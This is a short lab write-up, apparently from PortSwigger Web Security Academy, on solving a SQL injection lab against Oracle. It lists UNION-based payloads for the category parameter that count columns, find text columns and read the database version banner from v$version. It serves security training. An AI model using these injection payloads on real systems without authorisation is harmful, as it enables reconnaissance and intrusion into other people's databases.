Lab: SQL injection attack, querying the database type and version on Oracle
tags: Portswigger Web Security Academy Web
- Description: This lab contains a SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query.
- Our Goal: To solve the lab, display the database version string.
Exp - SQLi Cheat Sheet - Examining the database in SQL injection attacks
According to the cheat sheet above, we can use the command to fetch the version of this database, e.g.
Before the recon, the hint told you that this database is created by Oracle. So, you must contained From preserved word in each query, e.g. SELECT 'abc' FROM dual
-
Determine # of columns that are being returned by the query
Payload:
?category=Gifts' union select NULL,NULL from v$version-- -
Which columns contain text data
Payload:
?category=Gifts' union select 'a','b' from v$version--Two of them are text data
-
Attack
Payload:
?category=Gifts' UNION SELECT BANNER,'abc' FROM v$version--